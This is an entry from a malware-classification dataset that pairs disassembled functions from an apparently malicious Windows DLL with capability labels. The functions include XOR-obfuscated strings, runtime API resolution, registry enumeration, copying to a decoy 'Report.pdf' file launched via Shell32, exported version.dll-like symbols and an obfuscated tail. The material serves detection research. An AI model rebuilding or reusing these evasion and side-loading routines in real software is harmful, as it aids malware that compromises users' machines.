joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100012d0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [ebp + 0xc]
push ebx
push esi
inc eax
mov ebx, ecx
push edi
push eax
mov dword [ebp - 8], ebx
call fcn.10009825
mov edi, eax
add esp, 4
xor eax, eax
mov dword [ebp + 0xc], edi
mov dword [ebp - 4], eax
mov ebx, dword [ebx + eax*4]
xor edx, edx
mov ecx, ebx
lea esi, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10001300
sub ecx, esi
je 0x1000132d
nop dword [eax + eax]
mov al, byte [ebx + edx]
mov byte [edi], al
mov eax, ebx
inc edi
inc edx
lea esi, [eax + 1]
nop dword [eax]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10001320
sub eax, esi
cmp edx, eax
jb 0x10001310
mov eax, dword [ebp - 4]
mov ebx, dword [ebp - 8]
inc eax
mov dword [ebp - 4], eax
cmp eax, 0x96
jl 0x100012f5
mov edx, dword [ebp + 0xc]
mov ecx, edx
call fcn.10001190
mov ebx, eax
mov dword [ebp - 8], ebx
lea edi, [ebx + 1]
lea ecx, [edi + 1]
push ecx
call fcn.10009825
add esp, 4
xor edx, edx
mov esi, eax
test edi, edi
jle 0x1000138b
sub dword [ebp + 0xc], esi
mov ebx, dword [ebp + 0xc]
nop word [eax + eax]
mov eax, edx
lea ecx, [edx + esi]
and eax, 1
inc edx
mov al, byte [eax + 0x1001eee0]
xor al, byte [ebx + ecx]
mov byte [ecx], al
cmp edx, edi
jl 0x10001370
mov ebx, dword [ebp - 8]
mov eax, dword [ebp + 0x10]
mov byte [esi + edi], 0
push dword [eax]
push ebx
push 1
push esi
call fcn.100096d9
add esp, 0x10
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x100013b0
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
mov esi, ecx
push edi
mov eax, esi
nop word [eax + eax]
movzx edx, byte [eax]
inc eax
cmp byte [edx + str.________________________________________________456789:_________], 0x3f
jbe 0x100013c0
sub eax, esi
add eax, 2
cdq
and edx, 3
add eax, edx
sar eax, 2
lea eax, [eax + eax*2]
inc eax
push eax
call fcn.10009825
mov ebx, eax
mov edx, esi
mov ecx, ebx
call fcn.10001190
mov edi, eax
lea ecx, [edi + 1]
push ecx
call fcn.10009825
add esp, 8
xor ecx, ecx
mov esi, eax
test edi, edi
jle 0x1000142a
sub ebx, esi
mov eax, ecx
lea edx, [ecx + esi]
and eax, 1
inc ecx
mov al, byte [eax + 0x1001eee0]
xor al, byte [edx + ebx]
mov byte [edx], al
cmp ecx, edi
jl 0x10001408
mov byte [esi + edi], 0
mov eax, esi
pop edi
pop esi
pop ebx
ret
mov byte [esi + edi], cl
mov eax, esi
pop edi
pop esi
pop ebx
ret
Function at 0x10001440
Capabilities:
Link many functions at runtime

Disassembly:
push ebx
mov ebx, ecx
mov ecx, str.flZHXVBfBgEbV1lf
call fcn.100013b0
push eax
push ebx
call fcn.1000a6ec
add esp, 8
test eax, eax
jne 0x10001508
push esi
push edi
mov ecx, str.clZBfVRHXEVQYExAQVZYeltVWg
call fcn.100013b0
mov edi, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
push ebx
call edi
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call esi
mov ecx, str.YlxCBQF3XEBUUVlWYlxCBQF1RmFQV1xBUFBBWlpd
mov dword [0x100cde88], eax
call fcn.100013b0
push eax
push ebx
call edi
push eax
call esi
mov ecx, str.clZBdVxfUHJBR0daV0ZBVkZy
mov dword [0x100cde80], eax
call fcn.100013b0
push eax
push ebx
call edi
push eax
call esi
mov ecx, str.clZBdltFXEFaXVhWW0djUkdaVFFZVnQ
mov dword [0x100cde70], eax
call fcn.100013b0
push eax
push ebx
call edi
push eax
call esi
mov ecx, str.ZltQX1l2TVZWRkFWdA
mov dword [0x100cde7c], eax
call fcn.100013b0
push eax
push str.Shell32.dll
call edi
push eax
call esi
mov ecx, str.Ylpbdk1WVg
call fcn.100013b0
push eax
push ebx
call edi
push eax
call esi
mov ecx, str.dkFQUkFWZUFaUFBARnI
mov dword [0x100cde74], eax
call fcn.100013b0
push eax
push ebx
call edi
push eax
call esi
pop edi
mov dword [0x100cde84], eax
pop esi
pop ebx
ret
Function at 0x100015c0
Capabilities:
Query or enumerate registry key
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x240
push ebx
mov ebx, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push esi
push edi
mov esi, ecx
mov dword [ebp - 0x14], 2
nop dword [eax + eax]
push esi
push 0x20219
xor edi, edi
push edi
push dword [esi + 4]
push dword [esi]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x100016db
push eax
push eax
push eax
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x240]
push eax
push edi
push dword [esi]
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
test eax, eax
jne 0x100017cd
nop dword [eax]
lea eax, [ebp - 0xc]
push eax
push 0x20219
push 0
lea eax, [ebp - 0x240]
push eax
push dword [esi]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x100016aa
lea eax, [ebp - 8]
mov dword [ebp - 8], 0xff
push eax
lea eax, [ebp - 0x114]
mov ecx, str.ZUFaV0BQQX1UXlA
push eax
push 0
push 0
call fcn.100013b0
push eax
push dword [ebp - 0xc]
call ebx
test eax, eax
jne 0x10001673
lea ecx, [ebp - 0x114]
call fcn.10001510
lea eax, [ebp - 8]
mov ecx, str.cVpGQ1lSTH1UXlA
push eax
lea eax, [ebp - 0x114]
push eax
push 0
push 0
call fcn.100013b0
push eax
push dword [ebp - 0xc]
call ebx
test eax, eax
jne 0x100016a1
lea ecx, [ebp - 0x114]
call fcn.10001510
push dword [ebp - 0xc]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0
push 0
push 0
push 0
lea eax, [ebp - 4]
mov dword [ebp - 4], 0x12c
push eax
lea eax, [ebp - 0x240]
inc edi
push eax
push edi
push dword [esi]
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
test eax, eax
je 0x10001620
jmp 0x100017cd
push esi
push 0x20119
push 0
push dword [esi + 4]
push dword [esi]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x100017cd
push eax
push eax
push eax
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x240]
push eax
push 0
push dword [esi]
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
test eax, eax
jne 0x100017cd
lea eax, [ebp - 0x10]
push eax
push 0x20119
push 0
lea eax, [ebp - 0x240]
push eax
push dword [esi]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x100017a1
lea eax, [ebp - 8]
mov dword [ebp - 8], 0xff
push eax
lea eax, [ebp - 0x114]
mov ecx, str.ZUFaV0BQQX1UXlA
push eax
push 0
push 0
call fcn.100013b0
push eax
push dword [ebp - 0x10]
call ebx
test eax, eax
jne 0x1000176a
lea ecx, [ebp - 0x114]
call fcn.10001510
lea eax, [ebp - 8]
mov ecx, str.cVpGQ1lSTH1UXlA
push eax
lea eax, [ebp - 0x114]
push eax
push 0
push 0
call fcn.100013b0
push eax
push dword [ebp - 0x10]
call ebx
test eax, eax
jne 0x10001798
lea ecx, [ebp - 0x114]
call fcn.10001510
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0
push 0
push 0
push 0
lea eax, [ebp - 4]
mov dword [ebp - 4], 0x12c
push eax
lea eax, [ebp - 0x240]
inc edi
push eax
push edi
push dword [esi]
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
test eax, eax
je 0x10001717
push dword [esi]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
add esi, 8
sub dword [ebp - 0x14], 1
jne 0x100015e0
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x100025b0
Capabilities:
Copy file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xa00
lea eax, [ebp - 0x200]
push 0
push eax
push 0x104
push 0x1001f3e4
call dword [sym.imp.KERNEL32.dll_GetFullPathNameA]
lea ecx, [ebp - 0x200]
dec ecx
nop dword [eax]
mov al, byte [ecx + 1]
lea ecx, [ecx + 1]
test al, al
jne 0x100025e0
mov eax, dword [str.Report]
mov dword [ecx], eax
mov eax, dword [0x1001f3ec]
mov dword [ecx + 4], eax
lea eax, [ebp - 0x200]
push eax
push str._s.pdf
lea eax, [ebp - 0x600]
push 0x400
push eax
call fcn.10001090
add esp, 0x10
lea eax, [ebp - 0x600]
push 0
push eax
lea eax, [ebp - 0x200]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x10002672
mov ecx, str.Vl5RHVBLUBMaUBU
call fcn.100013b0
lea ecx, [ebp - 0x600]
push ecx
push eax
push str._s__s
lea eax, [ebp - 0xa00]
push 0x400
push eax
call fcn.10001090
mov eax, dword [0x100cde74]
add esp, 0x14
test eax, eax
je 0x10002672
push 0
lea ecx, [ebp - 0xa00]
push ecx
call eax
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x10003610
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [0x1006c3d0]
test eax, eax
jne 0x100036a3
push esi
mov ecx, str.flZHXVBfBgEbV1lf
call fcn.100013b0
mov ecx, eax
call fcn.10001440
push 0
push 0
push 0
push sym.version.dll__VerQueryDateA_0
push 0
push 0
call fcn.100071a1
add esp, 0x18
call fcn.10006b71
lea esi, [eax + 0x7d0]
call fcn.10006b71
cmp eax, esi
jl 0x10003654
push 0
push 0
push 0
push sym.version.dll_GetDateFromSystem
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push sym.version.dll__GetFileVersionInfos_0
push 0
push 0
call fcn.100071a1
add esp, 0x18
call fcn.10006b71
lea esi, [eax + 0xea60]
call fcn.10006b71
cmp eax, esi
jl 0x10003694
mov eax, dword [0x1006c3d0]
pop esi
push 0x100683f0
push dword [0x100cde78]
inc eax
mov dword [0x1006c3d0], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
pop ebp
jmp eax

Function at 0x10009c07
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x10009c46
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x10009c46
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x10009c46
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x10009c46
cmp dword [ecx + 0x74], 0xe
jbe 0x10009c46
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x1000b884
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
sar ecx, 6
push esi
push edi
imul edi, eax, 0x38
mov eax, dword [ecx*4 + 0x1006bf00]
mov dword [ebp - 0xc], ecx
mov ecx, dword [edi + eax + 0x18]
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x1000b8c4
cmp byte [ebx], 0xa
jne 0x1000b8c4
or byte [edi + eax + 0x28], 4
jmp 0x1000b8c9
and byte [edi + eax + 0x28], 0xfb
add ecx, ebx
mov eax, ebx
mov dword [ebp - 0x10], ecx
mov esi, ebx
mov dword [ebp - 8], eax
cmp ebx, ecx
jae 0x1000b9c8
mov dl, byte [eax]
cmp dl, 0x1a
je 0x1000b9ab
inc eax
cmp dl, 0xd
je 0x1000b8f5
mov dword [ebp - 8], eax
mov byte [esi], dl
jmp 0x1000b91b
cmp eax, ecx
jae 0x1000b929
mov cl, byte [eax]
xor eax, eax
cmp cl, 0xa
sete al
inc eax
add dword [ebp - 8], eax
cmp cl, 0xa
sete al
dec al
and al, 3
add al, 0xa
mov byte [esi], al
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x10]
xor edx, edx
inc edx
add esi, edx
cmp eax, ecx
jb 0x1000b8dd
jmp 0x1000b9c8
push 0
lea eax, [ebp - 0x10]
push eax
push 1
lea eax, [ebp - 1]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x1000b9a6
cmp dword [ebp - 0x10], 0
je 0x1000b9a6
mov ecx, dword [ebp - 0xc]
mov eax, dword [ecx*4 + 0x1006bf00]
test byte [eax + edi + 0x28], 0x48
je 0x1000b980
mov dl, byte [ebp - 1]
lea eax, [esi + 1]
mov dword [ebp - 0x14], eax
cmp dl, 0xa
jne 0x1000b96b
mov byte [esi], dl
jmp 0x1000b97c
mov byte [esi], 0xd
mov eax, dword [ecx*4 + 0x1006bf00]
mov byte [eax + edi + 0x2a], dl
mov eax, dword [ebp - 0x14]
mov esi, eax
jmp 0x1000b9c8
cmp byte [ebp - 1], 0xa
jne 0x1000b98f
cmp esi, ebx
jne 0x1000b98f
mov byte [esi], 0xa
jmp 0x1000b9c7
push 1
push 0xffffffffffffffff
push 0xffffffffffffffff
push dword [ebp + 8]
call fcn.1000b131
add esp, 0x10
cmp byte [ebp - 1], 0xa
je 0x1000b9c8
mov byte [esi], 0xd
jmp 0x1000b9c7
mov ecx, dword [ebp - 0xc]
mov ecx, dword [ecx*4 + 0x1006bf00]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x1000b9c5
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x1000b9c8
mov byte [esi], dl
inc esi
sub esi, ebx
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x1000b9d1
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
push esi
sar ecx, 6
push edi
imul edi, eax, 0x38
mov dword [ebp - 8], ecx
mov eax, dword [ecx*4 + 0x1006bf00]
push 0xa
pop edx
mov dword [ebp - 0x18], edx
mov ecx, dword [eax + edi + 0x18]
mov dword [ebp - 0x1c], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x1000ba17
cmp word [ebx], dx
jne 0x1000ba17
or byte [eax + edi + 0x28], 4
jmp 0x1000ba1c
and byte [eax + edi + 0x28], 0xfb
lea edx, [ebx + ecx*2]
mov eax, ebx
mov dword [ebp - 0xc], edx
mov esi, ebx
mov dword [ebp - 4], eax
cmp ebx, edx
jae 0x1000bb7f
mov dword [ebp - 0x10], 0xd
movzx ecx, word [eax]
mov edx, ecx
mov dword [ebp - 0x14], edx
mov edx, dword [ebp - 0xc]
cmp ecx, 0x1a
je 0x1000bb5f
add eax, 2
cmp cx, word [ebp - 0x10]
je 0x1000ba5d
mov dword [ebp - 4], eax
mov word [esi], cx
jmp 0x1000ba93
cmp eax, edx
jae 0x1000baa1
movzx eax, word [eax]
xor ecx, ecx
cmp ax, word [ebp - 0x18]
mov edx, eax
push 0xa
sete cl
xor eax, eax
lea ecx, [ecx*2 + 2]
add dword [ebp - 4], ecx
pop ecx
cmp dx, cx
mov edx, dword [ebp - 0xc]
sete al
dec eax
and eax, 3
add eax, ecx
mov word [esi], ax
mov eax, dword [ebp - 4]
push 2
pop ecx
add esi, ecx
cmp eax, edx
jb 0x1000ba38
jmp 0x1000bb7f
push 0
lea eax, [ebp - 0x18]
push eax
push 2
lea eax, [ebp - 4]
push eax
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x1000bb5a
cmp dword [ebp - 0x18], 0
je 0x1000bb5a
mov edx, dword [ebp - 8]
push 0xa
mov eax, dword [edx*4 + 0x1006bf00]
test byte [eax + edi + 0x28], 0x48
je 0x1000bb30
lea eax, [esi + 2]
mov dword [ebp - 0x1c], eax
mov ax, word [ebp - 4]
pop ecx
mov word [ebp - 2], ax
cmp ax, cx
jne 0x1000baf4
mov word [esi], cx
jmp 0x1000bb2b
push 0xd
pop ecx
mov word [esi], cx
movzx ecx, ax
mov eax, dword [edx*4 + 0x1006bf00]
mov dx, word [ebp - 2]
shr ecx, 8
push 0xa
mov byte [eax + edi + 0x2a], dl
mov edx, dword [ebp - 8]
mov eax, dword [edx*4 + 0x1006bf00]
mov byte [eax + edi + 0x2b], cl
mov eax, dword [edx*4 + 0x1006bf00]
pop ecx
mov byte [eax + edi + 0x2c], cl
mov esi, dword [ebp - 0x1c]
jmp 0x1000bb7f
pop eax
cmp word [ebp - 4], ax
jne 0x1000bb40
cmp esi, ebx
jne 0x1000bb40
mov word [esi], ax
jmp 0x1000bb7c
push 1
push 0xffffffffffffffff
push 0xfffffffffffffffe
push dword [ebp + 8]
call fcn.1000b131
add esp, 0x10
push 0xa
pop eax
cmp word [ebp - 4], ax
je 0x1000bb7f
push 0xd
pop eax
jmp 0x1000bb3b
mov edx, dword [ebp - 8]
mov edx, dword [edx*4 + 0x1006bf00]
mov al, byte [edx + edi + 0x28]
test al, 0x40
jne 0x1000bb79
or al, 2
mov byte [edx + edi + 0x28], al
jmp 0x1000bb7f
mov word [esi], cx
add esi, 2
sub esi, ebx
and esi, 0xfffffffe
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x1000d3f3
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x1001ac8c
push 0x1001ac84
push str.FlsAlloc
push 0x1f
call fcn.1000d272
mov esi, eax
add esp, 0x10
test esi, esi
je 0x1000d427
push dword [ebp + 8]
mov ecx, esi
call dword [0x10019188]
call esi
jmp 0x1000d42d
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x1000d471
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x1001ac9c
push 0x1001ac94
push str.FlsGetValue
push 0x21
call fcn.1000d272
mov esi, eax
add esp, 0x10
test esi, esi
je 0x1000d4a8
push dword [ebp + 8]
mov ecx, esi
call dword [0x10019188]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x1000d4b0
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x1001aca4
push 0x1001ac9c
push str.FlsSetValue
push 0x22
call fcn.1000d272
mov esi, eax
add esp, 0x10
test esi, esi
je 0x1000d4ea
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x10019188]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]
Function at 0x10010a9c
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x10010b39
push ebx
push esi
call fcn.10010a65
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.100109f9
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x10010ae6
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x10010b38
push edi
push eax
call fcn.1000d6df
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x10010b06
call fcn.1000cbb4
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x10010b37
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.100109f9
add esp, 0x20
test eax, eax
jne 0x10010b25
push edi
call fcn.1000cbb4
jmp 0x10010b2d
push ebx
call fcn.1000cbb4
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret
Function at 0x10015b71
Capabilities:
Clear file content

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x2c
push ebx
mov ebx, dword [ebp + 8]
lea ecx, [ebp - 0x2c]
push esi
push edi
push dword [ebp + 0x10]
mov edi, dword [ebp + 0x14]
push dword [ebp + 0xc]
push ebx
call fcn.10015aed
mov eax, dword [ebp - 0x2c]
and eax, dword [ebp - 0x28]
cmp eax, 0xffffffff
je 0x10015ce0
mov eax, dword [ebp - 0x24]
and eax, dword [ebp - 0x20]
cmp eax, 0xffffffff
je 0x10015ce0
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 8], ecx
mov dword [ebp - 4], eax
test ecx, ecx
jl 0x10015c95
jg 0x10015bcd
test eax, eax
je 0x10015c8b
push 1
push 0x1000
call fcn.1000d0e2
mov esi, eax
pop ecx
pop ecx
test esi, esi
jne 0x10015bf0
push 0xc
pop ebx
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], ebx
jmp 0x10015c82
push 0x8000
push ebx
call fcn.10015a1e
pop ecx
pop ecx
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x18]
test eax, eax
jl 0x10015c19
jg 0x10015c14
cmp ecx, 0x1000
jb 0x10015c19
mov ecx, 0x1000
push edi
push ecx
push esi
push ebx
call fcn.1000f21b
add esp, 0x10
cmp eax, 0xffffffff
je 0x10015c5e
mov ecx, dword [ebp - 4]
cdq
sub ecx, eax
mov eax, dword [ebp - 8]
mov dword [ebp - 4], ecx
sbb eax, edx
mov dword [ebp - 8], eax
test eax, eax
jg 0x10015c14
jl 0x10015c45
test ecx, ecx
jne 0x10015c06
push dword [ebp - 0xc]
push ebx
call fcn.10015a1e
push esi
call fcn.1000cbb4
add esp, 0xc
xor ebx, ebx
jmp 0x10015cee
cmp byte [edi + 0x24], 0
je 0x10015c75
cmp dword [edi + 0x20], 5
jne 0x10015c75
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], 0xd
cmp byte [edi + 0x1c], 0
je 0x10015c80
mov ebx, dword [edi + 0x18]
jmp 0x10015c82
xor ebx, ebx
push esi
call fcn.1000cbb4
pop ecx
jmp 0x10015cee
test ecx, ecx
jg 0x10015c57
jl 0x10015c95
test eax, eax
jae 0x10015c57
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.1000b131
and eax, edx
add esp, 0x10
cmp eax, 0xffffffff
jne 0x10015cb5
cmp byte [edi + 0x1c], 0
je 0x10015c57
jmp 0x10015ce6
push ebx
call fcn.10011883
pop ecx
push eax
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x10015c57
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0xd
mov byte [edi + 0x24], 1
mov dword [edi + 0x20], eax
pop ebx
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], ebx
jmp 0x10015cee
cmp byte [edi + 0x1c], 0
je 0x10015ceb
mov ebx, dword [edi + 0x18]
jmp 0x10015cee
push 0x16
pop ebx
push 0
push dword [ebp - 0x28]
push dword [ebp - 0x2c]
push dword [ebp - 0x14]
call fcn.1000b131
add esp, 0x10
mov eax, ebx
pop edi
pop esi
pop ebx
leave
ret

Function at 0x10018620
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x1001864d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x1001864d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x10031734
Capabilities:
Resolve function by parsing pe exports

Disassembly:
jmp 0x10033410
inc ecx
lea esp, [esp + 0x28]
push 0x51a9c374
lea esp, [esp + 4]
call fcn.1003079c
pushal
mov byte [esp + 4], 0xd3
pushal
adc ecx, ecx
call fcn.10030eea

Function at 0x10031968
Capabilities:
Resolve function by parsing pe exports

Disassembly:
cmc
bt ax, cx
call fcn.10033fcf
add byte [eax], al
dec ecx
outsb dx, byte [esi]
je 0x100319dd
jb 0x100319e6
outsd dx, dword [esi]
arpl word [ebx + 0x65], bp
inc esp
arpl word gs:[edx + 0x65], si
insd dword es:[edi], dx
outsb dx, byte gs:[esi]
je 0x10031989
bswap di
mov dword [esp], esi
mov edi, dword [esp + 8]
lea esi, [esi - 0x4cdd00ab]
mov esi, dword [esp + 0xc]
lea ebp, [ecx - 0x166849ba]
mov ebp, dword [esp + 0x10]
mov byte [esp + 8], 0xa
mov byte [esp], ch
pushal
push dword [esp + 0x34]
ret 0x40
inc esi
imul ebp, dword [ebp + 0x4e], 0x41656d61
add byte [eax], al
add byte [ebx + 0x72], al
popal
je 0x10031a54
push eax
jb 0x10031a61
arpl word [ebp + 0x73], sp
jae 0x10031a4e
add byte [eax], al
add byte [ebx + esi*2 + 0x74], ch
jb 0x10031a6b
outsb dx, byte gs:[esi]
push edi
add byte [eax], al
add byte [ebx + 0x65], dl
je 0x10031a51
popal
outsb dx, byte [esi]
insb byte es:[edi], dx
inc ebx
outsd dx, dword [esi]
jne 0x10031a80
je 0x10031a14
add byte [eax], al
push esi
imul esi, dword [edx + 0x74], 0x506c6175
jb 0x10031a8f
je 0x10031a87
arpl word [ebp + eax*2 + 0x78], si
add byte [eax], al
add byte [edx + 0x65], dl
popal
push eax
jb 0x10031a9f
arpl word [ebp + 0x73], sp
jae 0x10031a82
insd dword es:[edi], dx
outsd dx, dword [esi]
jb 0x10031ab3
add byte [eax], al
add byte [edi + 0x65], al
je 0x10031a90
inc ebp
dec ebp
inc ebx
push eax
add byte [eax - 6], ch
sbb al, 0x1e
push ds
xor byte [ebx], bh
inc ebp
invalid
pushal
lea esp, [esp + 0x24]
and al, 0x24
jae 0x1003389e
add dword [ebp + 0x1e], 0
add byte [edi], cl
pushfd
lds esp, [esi - 0x7f]
xlatb
fprem
setl ch
adc di, 0xf8d9
push edx
bts bx, 1
mov ebx, eax
cmp dh, ah
movzx cx, cl
setae cl
call fcn.100340da
or dword [edx + 0x3f], edi
aas
in eax, 0xce
pushfd
movsd dword es:[edi], dword [esi]
dec eax
call dword [edx + 0x3a77dc29]
leave
cmp al, 0xbb
pop esi
jmp 0x63374d9f
mov ebx, 0x3308e95e
xor al, 0x53
mov dl, 0x87
fimul dword [ebx - 0x5d]
dec esi
fnstsw word [0xeefd7e59]
cmp eax, 0xeefd7e59
mov ebx, dword [edx - 0x149f73c5]
push ss
movsd dword es:[edi], dword [esi]
lodsb al, byte [esi]
jmp 0x10031a49
int3